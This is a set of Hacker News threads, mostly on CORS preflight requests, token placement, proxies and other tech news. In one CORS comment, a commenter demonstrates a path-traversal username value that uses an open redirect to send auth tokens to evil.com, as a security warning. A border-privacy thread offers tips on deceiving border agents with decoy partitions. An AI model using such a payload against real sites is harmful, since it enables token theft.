Killing CORS Preflight Requests on a React SPA - <AUTHOR> https://m.alphasights.com/killing-cors-preflight-requests-on-a-react-spa-1f9b04aa5730#.t6u706da4 <comment><USER2> > In terms of security, all API calls should be using https and there is > little difference in putting the token in headers or as part of the query > string.

Mostly true. But as a heads up, you might want to shy away from this as plenty of browser extensions are actually spyware and report full URLs back to the mothership. We ran into this recently where calls to our service including API keys in the query parameters ended up being reported back -- our customers were testing our API by calling it in the browser. Some kind of extension(s) was reporting it to a service that finds popular URLs on a given domain.

Headers aren't much more secure if someone is trying to steal data, but analytics providers/url aggregators don't care about some arbitrary header.

Our solution has been to push users to use headers and offer mutual auth (client certificates). At least with mutual auth, there isn't a trivially- leakable shared secret, but it does require more sophisticated automation (or a gateway/proxy) for clients to manage.

<comment><USER3> I wish browser vendors would put work into making the browser-managed client certificate UX much nicer. That would make it possible to offer a real step change in security.

<comment><USER4> This is about authenticating consumers of an API, not end users. So while your wish is nice, it's a non sequitur here.

<comment><USER3> If we're talking about browser extensions (as the comment I replied to was) then we're talking about calls being made from the browser.

<comment><USER2> FWIW, if it clarifies things, we disable shared secret auth when enabling mutual auth. At that point, you can really only call it with curl or your application.

<comment><USER3> I'm not sure I follow. If you can use it from curl (presumably by passing the client certificate) couldn't you also use it from a browser? The browser has client certificate infrastructure, surely it can use it when making ajax requests?

<comment><USER2> You can, it just requires you to import the cert and use some pretty gnarly UI. I didn't mean to imply you couldn't use it from the browser, just that it was much less likely than curl + we rely on the cert for figuring out your account and not an API key.

<comment><USER3> Right, which ties back into my original point. I bet there are devs using the less secure interface right now because it was easier to test in the browser that way. Good UX for certificate management in browsers would make a lot of the web more secure.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER5> > _we had to deal with making CORS requests from app.example.com to > api.example.com_

What? If you share the same domain but a different sub domain then just set the document.domain property[1] so they trust each other and be done with it. You don't even need CORS...

Alternatively setup a proxy to keep everything behind the same domain. This is typically a best practice.

> _In our case, since each CORs request makes a preflight check, it doubles > this significant latency without adding any value._

Considering CORS contains no body and does no processing beyond asking what the client can and cannot do, it seems odd this would always "double" the latency here.

> _After reading a great blog post and MDN's CORS docs I realized there are > circumstances where the browser does not make a preflight request, if > conditions are met_

Okay this is scaring me. Where are we going with this?

> _In terms of security, all API calls should be using https and there is > little difference in putting the token in headers or as part of the query > string._

Yeah was afraid of that. Please don't do this especially if you use that URL in any way to give the user access to a link (e.g. downloading a file) because now it's part of their browser history and they can't completely log out.

> _Thanks for reading this! I hope it helped, even if the conclusion is > "preflight requests are too troublesome, I'm going proxy" :)_

A proxy is the correct solution. Not this horrible hack fest of completely disregarding important HTTP headers. _Sigh_

[1] [https://developer.mozilla.org/en- US/docs/Web/API/Document/do...](https://developer.mozilla.org/en- US/docs/Web/API/Document/domain)

<comment><USER6> Even more so, please prevent expensive TLS setup roundtrips to two different hosts. That's probably 2x as expensive as a single preflight request for non- resuming sessions.

As parent states: a simple reverse proxy is probably the way to go here. Takes about 3 lines in nginx.

> After reading a great blog post and MDN's CORS docs I realized there are > circumstances where the browser does not make a preflight request, if > conditions are met

I must say I was a bit surprised that some POST requests can be executed without verifying CORS. There must be a bunch of POST endpoints out there that do have side-effects based on the cookie value, even without body. The distinction in behaviour between json or form encoding is pretty bizarre imo.

</comment></comment><comment><USER7> I'd still recommend setting up a proxy that serves the api as app.your.co/api/. Dealing with CORS is just very troublesome and a complete waste of time.

<comment><USER8> This 1000x. While for some specific use cases it's important, trying to leverage CORS to for multiple backend systems that are under your control is not worth the hassle.

</comment></comment><comment><USER9> Everyone here is focusing on their strange app choices (which is fine) but the meat of the article is useful:

* Avoid content-type for GET requests

* if you're using HTTPS exclusively then custom headers for session auth is not _generally_ needed so you can avoid those headers in GETs and POSTs as well.

* if you can get away with POSTing form-style vars rather than JSON then you'll avoid CORS issues too.

The rest of the article is honestly a bit pointless showboating of their app for no reason (and shows some rather poor practice not to mention the author being surprised by how CORS works in 2016...) but those are the takeaways.

</comment><comment><USER10> "If this feels "so 2015" to you, we did start building the app in early 2015 and went down the centralized RESTful API route."

If the author considers that route to be "so 2016", what would the 2016 Newest Thing be?

<comment><USER11> Another symptom of how rotten the javascript ecosystem is. If I'm picking a technology stack for a business, I want to pick one that will last me 10 years.

<comment><USER12> Good luck with your Java Web Start app!

<comment><USER3> Java Web Start is much nicer technically, and JavaFX UIs can be pretty nice. I honestly wish a lot of webapps were shipped that way.

</comment></comment></comment></comment><comment><USER13> When I started going down the whole CORS rabbit hole a very simple solution came to me almost immediately via googling. Xdomain. It is simple, it doesn't do preflight checks, it's secure. The only silly edgecases are where _other people_ have already worked around CORS awfulness for their client libraries (MixPanel, FB SDK, Intercom).

<comment><USER14> Thanks for pointing XDomain out to me.

XDomain certainly feels like a hack, but if you've done any serious work with CORS you'll probably realise CORS itself is just hacks upon hacks.

Project Link: [https://github.com/jpillora/xdomain](https://github.com/jpillora/xdomain)

</comment></comment><comment><USER15> > 1\. Find a way to proxy requests so that there's no CORS

Turns out this is really, really easy.

I tried this recently on a cookie-authenticated web api (after discovering that CORS cookies are useless because mobile Safari will always block them). I'm never touching CORS again unless it's a blasting out a bunch of '*' Access-Control-Whatevers on a public API.

</comment><comment><USER16> Yeeaahh.... Putting auth tokens in GET parameters is more 1999 than 2016. Please don't do it, its not smart.

<comment><USER17> Especially if they don't expire!

</comment></comment><comment><USER18> I personally always thought that the CORS domain checking was needlessly and overly restrictive.

I can understand entirely different top-level domains; definitely 100% necessary.

You start to lose me at different sub-domains for the same top-level domain. Do we really need to check _api.example.com_ from _app.example.com_? Chances are good that they're both controlled by the same entity, so what's the problem?

I'm out the door and around the corner when it gets down to the _port number_ of the host. So now two requests that should resolve to the _same machine_ need a CORS check? I think MS did right in having IE ignore the port in CORS domain checks. Not sure whether Edge does.

<comment><USER19> > Do we really need to check api.example.com from app.example.com?

Sure. What about hosted subdomains where people can create their own sites, with JS, on different subdomains? CORS can't work without applying the most restrictive policy by default -- if you do care about these things being able to access each other, send Access-Control headers.

<comment><USER20> Then request to add yourself to the public suffixes list.

<comment><USER21> So rely on proactive work by various SaaS vendors/other domain owners to preserve security for some of their clients, rather than relying on well- defined action from the owners of a particular service to ensure that said service works at all? Seems like we're "failing open" with the policy you suggest?

</comment></comment></comment></comment><comment><USER22> super minor but unless I'm mistaken SPA stands for "Single Page Application", so the first sentence in the post is a bit jarring:

> AlphaSights' recruitment platform evolved from a Rails application into a > _classic SPA app_.

Update 20s later: is "Wepack" in the diagram supposed to be "Webpack"?

Update 60s later: Can you explain _what_ you're actually using that runs into CORS issues? Are browsers talking to the api.* address directly? The diagram seems to imply that all api.* communication is routed through app.*, in which case CORS wouldn't be an issue, right?

<comment><USER22> > Wow, my first thought was "headers are messy and this is so restrictive". As > a lazy developer, I've shied away from dealing with headers, relying on > abstractions provided by libraries and frameworks.

I'm sure this is a common thought, but oh man it hurts me to read it.

<comment><USER23> The whole thing hurts to read. it could only hurt more if he'd discover the fact that there are in fact other verbs than GET and POST at the same time.

</comment></comment></comment><comment><USER24> I was running into a CORS-related issue, and was thinking of a possible solution:

If it were possible to make "cookie-less" AJAX requests to things like APIs, would it be safe for those requests to bypass CORS? My impression is that the cookie sending is the main danger, and if we could opt-out, then the "use API with provided key" use-case could work independent of what the destination site wants.

I don't know if there's a "spec" for CORS rules though..

<comment><USER15> FYI, Safari on iOS will _never_ send cookies cross-domain, regardless of how you configure the server or call your XmlHttpRequest (the user can enable 3rd- party cookies in Settings, but literally nobody will ever do this):

[https://stackoverflow.com/questions/14206531/mobilesafari- wo...](https://stackoverflow.com/questions/14206531/mobilesafari-wont-send- back-cookies-set-with-cors)

</comment></comment><comment><USER25> Maybe this is obvious, but why not just configure a reverse proxy to point different paths to different backends?

I always assumed CORS was more for connecting directly to 3rd party APIs.

<comment><USER26> Sounds like they're hosted entirely on Heroku and didn't want to go through the effort of adding external infrastructure. But I just found out apparently you can host Nginx on Heroku [1] which is neat, but looks a bit sketchy

[1] [https://github.com/ryandotsmith/nginx- buildpack](https://github.com/ryandotsmith/nginx-buildpack)

</comment></comment><comment><USER27> I think it's super important to understand that removing the preflight request practically kills the security measures of CORS. With no preflight request, the browser has no idea whether it can make a request until it already has, at which point it can only restrict access to the contents of the response.

The reason 'simple' and 'unsimple' exists is that simple requests are just normal XHR requests, and it would be infeasible to change all the web standards to prevent something that has been used for years.

Tokens in URLs is a very different, and perhaps drastically more insecure pattern than in headers. The primary issue is that it is extremely common to do:

"/api/v1/user/" \+ username + ".json?token=" \+ token

That might seem fine and dandy, but what if I tell you "username" is now "../../../login?after=//evil.com?x="

Now the url is:

/api/v1/user/../../../login?after=//evil.com?x=.json?token=TOKEN

->

/login?after=//evil.com?x=.json?token=TOKEN

->

[http://evil.com?x=json?token=TOKEN](http://evil.com?x=json?token=TOKEN)

Assuming you have an open redirect flaw in your login system (extremely common), I can now exfiltrate user authorization tokens to my own server.

Setting Content-Type to text/plain works, but doing this kind of fiddling is pretty scary. If your Content-Type ends up as XML or HTML, you've just opened up your site for global XSS.

> The browser does not make an OPTIONS request, the server with awareness can > potentially not allow the request. Web frameworks don't do this because in > lieu of better security measures, such as CSRF or using sessionless > authentication.

If I'm understanding it right, you're saying that if configured correctly, the server can decide to not display information if the CORS rules are not met. This is to my knowledge a misunderstanding of how CORS works. Once you realise that CORS is meant to be a static set of headers cache-able and dedicated to a specific endpoint it makes a lot more sense.

With CORS, it is the browser, having been informed by the CORS headers what restrictions are placed on making requests to that endpoint which decides whether a request can go through.

This misunderstanding can become ugly when, as I've seen in several popular libraries from my research -- when combined with the 'fail early' pattern. The CORS-aware middleware sends rules to the browser as it validates them, and if one fails exits prematurely. If an earlier CORS rule is purposely failed by an attacker during a preflight request, the middleware will not send all the CORS headers, allowing subsequent requests with less / zero restrictions.</comment>


EFF Urges Citizens to Fight Changes Expanding Gov Powers to Break into Computers - <AUTHOR> https://www.eff.org/press/releases/eff-urges-citizens-websites-fight-rule-changes-expanding-government-powers-break <comment><USER2> For those curious, here is a summary of Rule 41 as it presently stands, followed by the proposed new section:

\-----

Rule 41 (b) At the request of a federal law enforcement officer or an attorney for the government:

        (1) a magistrate judge in a district can issue a
        warrant to search or seize a person or property in
        that district.

        (2) a magistrate judge can do so for a person or
        property outside the district if the person or
        property is located within the district when the
        warrant is issued but might be outside the district
        when the warrant is executed.

        (3) If the investigation is for domestic terrorism
        or international terrorism, a magistrate from any
        district in which activities related to the
        terrorism may have occurred can issue warrants for
        persons or property within or outside the district.

        (4) a magistrate judge can issue a warrant to
        install a tracking device in the district, and the
        warrant can authorize tracking within or outside the
        district or both.

        (5) a magistrate judge in any district where
        activities related to a crime has occurred can issue
        a warrant for property outside of any state or
        district if the property is within

            (A) a US territory, possession, or commonwealth,

            (B) a US diplomatic or consular mission in a foreign
            state or any building or land used for the mission's
            purpose, or

            (C) a residence or land owned or leased by the
            United States and used by US personnel assigned to a
            US diplomatic or consular mission in a foreign
            state.

\-----

(You can read the complete rule [here]([https://www.law.cornell.edu/rules/frcrmp/rule_41)](https://www.law.cornell.edu/rules/frcrmp/rule_41\))).

The proposed change adds a sixth section under 41(b):

\-----

        (6) a magistrate judge with authority in any
        district where activities related to a crime may
        have occurred has authority to issue a warrant to
        use remote access to search electronic storage media
        and to seize or copy electronically stored
        information located within or outside that district
        if:

            (A) the district where the media or information is
            located has been concealed through technological
            means; or

            (B) in an investigation of a violation of 18 U.S.C.
            § 1030(a)(5), the media are protected computers
            that have been damaged without authorization and are
            located in five or more districts.

\-----

(The source for that, straight from the Supreme Court's site, is [here]([http://www.supremecourt.gov/orders/courtorders/frcr16_mj80.p...](http://www.supremecourt.gov/orders/courtorders/frcr16_mj80.pdf\))).</comment>


Trevor Blackwell's Incredibly Accurate Predictions - <AUTHOR> http://tlb.org/predictions.html

<comment><USER2> Trying to decide whether I'd trade in HDTV and digital media for a robot butler.

He seems to have had some oddly contradictory ideas about the pace of technology.</comment>


The four stages of (functional) programming - <AUTHOR> http://pchiusano.blogspot.com/2010/09/four-stages-of-functional-programming.html <comment><USER2> "...as conceptualized in an arbitrary, almost-Haskell-specific manner."

FP doesn't necessarily have _anything_ to do with types. Where does tacit programming* in J fit in, for example? You can't get much more functional than that, yet J is dynamically typed. (So is Erlang.) I thought FP has more to do with immutability and higher-order functions.

* The Haskell community calls tacit programming "point-free style".</comment>


Defending Privacy at the U.S. Border – for Travelers with Digital Devices (2011) - <AUTHOR> https://www.eff.org/wp/defending-privacy-us-border-guide-travelers-carrying-digital-devices <comment><USER2> Have a dual-boot system and set it up 1) so it loads Windows directly when you cross the border, 2) with a password such as "secret" or "name1982" that you tell the border agent as soon as he asks.

Much easier if you pretend to be computer illiterate and/or being helpful.

<comment><USER3> In my experience, the guards have room temperature IQs and a fascist mindset making them trivially easy to divert but rock hard to reason with/dissuade. Avoiding detection by the enemy is far, far easier than the usual push-me- pull-you so case story 'Howard' is going to have a bad day whatever. Don't do this people! They don't care and by identifying yourself as such you are guaranteeing yourself trouble today and forever. Again in my experience, if you think they can't and won't try to fit you up for something nasty then you are as naive and stupid as Howard. You can be jailed indefinitely in the UK until you provide the password to an encrypted volume/machine. Most laptops have an SD card slot into which you can place card with a hidden partition containing an encrypted VM as well as a nice visible FAT32 honeypot for your bulletheaded new friend. Yes to using Windows for this. Do not mention LINUX!

<comment><USER4> _...a nice visible FAT32 honeypot for your bulletheaded new friend._

Do you have any recommendations for viruses to install in that partition? b^)

</comment></comment></comment><comment><USER5> Quite unhelpful and outdated article.

Of course encrypt your information. What I was hoping to find is recommendation about what to do if they ask you to unlock your phone/computer and what are your rights in such situation.

<comment><USER6> See the heading near the bottom, "Border Agent Demands for Access to Data".

</comment></comment><comment><USER7> Title should be updated with "2011"</comment>


Ask HN: Thinking of dropping a domain: should I ditch or pitch? - <AUTHOR>

I have a domain that I registered in 2000 at the same time that I registered my business. Since then, that business had become 'stagnant' but I'm at a point now when I want to ramp it back up. Either I keep with this business name or start a new one. To be completely honest, I'm only attached to the original name for sentimental reasons.
In 2005 a company in a different country registered their domain: it's the same two words and TLD, but there's a hyphen between the two words. I know that people have confused the domains before (even though the sites themselves could not be more different): just yesterday the site had over 100 visits, presumably not for me. I've also been sent maybe a dozen job applications in the past, as well as a response to an RFP once!
Anyway, with the option to 'start afresh', I'm kind of wondering if I should pitch the domain to this other company. Is it considered 'wrong' to do so, especially seeing as I am considering giving it up anyway? If I were to do it, how should I? Should I just email their administrative contact in Whois or is there a certain type of service that I am looking for to do this?
Thanks for any thoughts. <comment><USER2> No, it's entirely reasonable to offer to sell it to them for a non- extortionate price. You should make clear that you registered the domain name in good faith for your company, and will continue to use it if they decide not to buy it (otherwise they could claim that you registered it in bad faith).

(I am not a lawyer.)

<comment><AUTHOR> Thanks for the reply. I was pretty much thinking what you said, so that makes me more comfortable with the situation.

Having said all of that, do you have any suggestions on the next step? Is emailing the administrative contact as per whois the best way to do this?

Thanks for any information: this is definitely not my area of expertise!

<comment><USER3> First try to get the contact info for a decision maker at the company (see if they have a "Team" or "About" or "About the Company" kind of page and then use Google on the names). Typically the administrator contact is going to be some sysadmin guy, but if all else fails you can contact the administrator email.

Some tips on negotiation: Make the first offer. Your first offer should be one that you would be _absolutely overwhelmingly ecstatic_ to get. It shouldn't be too high as to make them reject you instantly, but it should be high enough that they'll make a counter offer (at a lower price). Remember, your goal is to get the highest price they're willing to pay.

Adjust your price based on 1)How big the company is (it's ability to pay) and 2)How common the two word name is + TLD. A good two word .com can go for the tens of thousands. A less common two word .com can go for the thousands. Look at sedo.com (the domain marketplace) for a good idea of the kinds of prices you target.</comment></comment></comment>


The Web is Shrinking. Now What? - <AUTHOR> http://allthingsd.com/20110623/the-web-is-shrinking-now-what/

<comment><USER2> The title is mis-leading in many ways though the premise is rather interesting. (Basically that we've been using the 'reference web' until the recent development of the 'social' web.)

It's a intriguing idea - can we have separate 'webs' for reference, social, academia, commerce etc.</comment>


Apple Silicon Powered Macs to Support Thunderbolt 4 Despite Abandoning Intel - <AUTHOR> https://hothardware.com/news/apple-silicon-macs-support-thunderbolt-4-abandoning-intel <comment><USER2> I mean it was odds-on.

Intel designed Thunderbolt as a technology, but they had it working over optical connections (called "lightpeak"). Apple and Intel got it to work over copper wire, and Apple have been heavily invested in it ever since.

It's Intel's technology at this point, but Apple have some 50 or so patents on Thunderbolt technology. They probably have a reasonable case for being obstreperous if Intel tried to play hardball about licensing or availability.

<comment><USER3> Intel and Apple designed it. From Wikipedia :

"Thunderbolt is the brand name of a hardware interface developed by Intel (in collaboration with Apple) that allows the connection of external peripherals to a computer."

[https://en.wikipedia.org/wiki/Thunderbolt_(interface)](https://en.wikipedia.org/wiki/Thunderbolt_\(interface\))

</comment></comment><comment><USER4> Intel Thunderbolt controller as used in Mac's is a separate chip from the PCH ... perhaps that will be rolled into an Apple T3 for future ARM Mac's.</comment>


ROI of Coding Schools vs. MBA - <AUTHOR> http://findinbay.blogspot.com/2013/04/roi-on-mba-vs-coding-schools-which-is.html

<comment><USER3> I'm not sure that this analysis spot on.

> This means we'll be comparing tangible stuff ... not the intangible things > like network or personal growth, etc. No one should care about the > intangible stuff anyway ... but that's a separate debate.

When this is coupled with:

> Get an MBA? Let's take the Rolls Royce of Business Schools - <USER2> > Business School (HBS)

and the bit about the coding school:

> This varies by program from around $10k to $20k, but let's use an > approximate mid-point at $15k for the program duration, which is generally > about 3 months.

It becomes an entirely apples-to-oranges comparison.

In order to get into HBS, you've most probably already spent 4 years at a top- tier university; you also probably have a decent network. Sure, there are exceptions to this, but it's probably not the majority of cases.

So, we're talking about a 4 year investment in an undergraduate degree, plus a top-tier business school versus a 3 month investment in a coding school. I'm not sure that this comparison is entirely useful. A more apples-to-apples comparison might be to compare a top-tier engineering school (undergrad + meng) to a top-tier university + an MBA.

The other issue that I have is the assumption that a coding school will yield a well-paying job in the Bay Area. I'm not agreeing with the fact that candidates from top-tier universities fare better chances, but it might be reality.

<comment><USER4> I think these are fair points, and building on those points, doesn't it support that traditional 4-year and 2-year degrees may not be delivering education as valued by the market place? I can add that - at least for the current market - coding school graduates are finding jobs at the published market rates with relative ease ... in the Bay Area as you note. Can't comment for elsewhere.</comment></comment>


Twitter Updates, the 18th Century Edition - <AUTHOR> http://blogs.wsj.com/digits/2010/04/13/twitter-updates-the-18th-century-edition/

<comment><USER2> This reminds of an earlier article, another look at a historical context for twitter. Apparently, there were lots of postcards sent back and forth between family members, most of which weren't much different those those sampled here.

If I remember the article correctly, it was relatively recent, perhaps in the 19th or early 20th century?

</comment><comment><USER3> Enjoyed this article.

A similar theme (modern communication technology prefigured in earlier practices) can be found in _Victorian Internet_ , by Tom Standage.</comment>


Google is down : 403 Forbidden - <AUTHOR> http://www.google.com/search?hl=pt-BR&q=black+music+playlist&lr= <comment><USER2> I wonder how Google tracks it's short term outages and what it does with that to maintain it's perception of 'always on'.

</comment><comment><USER3> Except that it's not. At least not for the Google DC I'm hitting.

</comment><comment><USER4> Maybe some node is down :)</comment>


Announcing AWS Snowmobile: exabyte-scale data transport - <AUTHOR> https://twitter.com/AWSreInvent/status/804027499529138176 <comment><USER2> Short video of it driving into re:Invent:

[https://www.instagram.com/p/BNcbFS0jD7J/](https://www.instagram.com/p/BNcbFS0jD7J/)

</comment><comment><AUTHOR> And yep, it's literally a truck that they back up to your datacenter. They say you can transfer an exabyte of data into the cloud in six months using ten of these things.

</comment><comment><USER3> I'm just impressed they actually got the semi on the stage.

<comment><AUTHOR> I wonder if it was empty?</comment></comment>


Access Denied: The Media, After the Press - <AUTHOR> http://www.theawl.com/2015/12/access-denied <comment><USER2> An interesting article. The point about 'access' being less of a thing now and both celebrities and companies using social media to share information to directly can also be seen with Nintendo, who went from sharing information to the media to releasing Nintendo Direct videos and letting the whole world get the news at the same time. Why give the press any power when your fans will share all the information anyway?

However, I really disagree with their picture of Kotaku. They (and Gawker in general) are not good journalists. They are clickbait writing, reader attacking bullies that thrive on lies and rumours. Was the blacklisting a bad thing? Maybe, but it couldn't have happened to better people.

Also, rather sad they just had to toss a GamerGate reference in there, or associate them with the industry. It's far, far more complex (and messed up) than that.

<comment><USER3> Some outlets tend to be disinterested in the games themselves, and instead write hitpieces that undermine companies for a couple million uniques. Where game interviews are more about how a game could be construed as sexist [1] rather than the game itself.

If you keep calling companies sexist, they're not going to talk to you. They're under no obligation to do so.

If you've given a game a fair shake and say it sucks, then I agree, they shouldn't take away your access. But if all you're going to do is try and poke holes in it, it's hard to believe a company would want to help you do that.

1: [http://www.rockpapershotgun.com/2013/11/22/blizzard-on- heroe...](http://www.rockpapershotgun.com/2013/11/22/blizzard-on-heroes-of- the-storm-female-designs-in-mobas/) (see the end)

</comment></comment><comment><USER4> Great read. On the topic of the gaming press, sure, it's sad that they're put on a tight leash by the industry...but they have always been on a leash, haven't they? Kotaku complained about being put on the Fallout 4 blacklist (ostensibly because they were the first to break the news of its development)...but in the weeks since, have done almost nothing but wall-to- wall shitposts giving attention to Fallout 4 -- one of their latest pieces of journalism? "Fallout 4, Reimagined In Counter-Strike" [1]

Kotaku has some measure of control over this vicious cycle: stop giving Fallout 4 fanboyish coverage. In fact, it's a bit sad watching them make a principled stand for an independent press [2], but then, on a normal day, just post constantly about what cute meme they discovered in a mass-marketed AAA game, as if there were no other things to talk about in the gaming universe. Kotaku is not only biting the hand that has stopped feeding it, but then goes back to lick the hand as if that would change things.

The Verge's complaint about not being allowed a pre-release review of Star Wars is also weak. The Verge, Polygon (which was supposed to be the thinking person's gaming press but has devolved into a lesser IGN, covering comics and games), i09, and so forth, have done little but give Star Wars fawning hype in the lead-up months -- apparently thinking that what makes them different from just a fanboy site is that they will get to review the movie beforehand and thus have a controlling impact on that movie's box office success. Well, now that Disney/Abrams et al. have wisely realized that they could get the best of both worlds -- fawning hype without the chance of a non-positive review -- maybe the entertainment/tech sites will wise up and not spend so much of their readers' attention on Star Wars updates. But I doubt it...those Star Wars posts bring in pageviews...for these blogs to willingly cut that off in order to pursue something better would be like expecting newspapers to make their classifieds free (classified ad revenue made up as much as 25% of newspaper revene) when Craigslist first appeared on the scene.

[1] [http://steamed.kotaku.com/fallout-4-reimagined-in-counter- st...](http://steamed.kotaku.com/fallout-4-reimagined-in-counter- strike-1746326285)

[2] [http://kotaku.com/a-price-of-games- journalism-1743526293](http://kotaku.com/a-price-of-games- journalism-1743526293)

</comment><comment><USER5> Save yourself the time and don't read this article. It goes round and round the same point.

Social media makes it easy to spoon feed pablum to the public and the incumbent intermediaries of pablum are threatened by this.

<comment><USER6> I think it's worth reading part of the way through, but the author doesn't seem to realize when they've exhausted their point and should start wrapping up the article.

<comment><USER7> Agreed. The hand of a strong editor was needed.

</comment></comment></comment><comment><USER8> None of: celebrity mags, campaign horse race coverage, games reporting, or Gawker Media have anything to do with journalism.

They're glorified content farms fighting to show their ads next to things people want to be made public anyway. Their net contribution to humanity is probably negative. Fuck it, let them burn.</comment>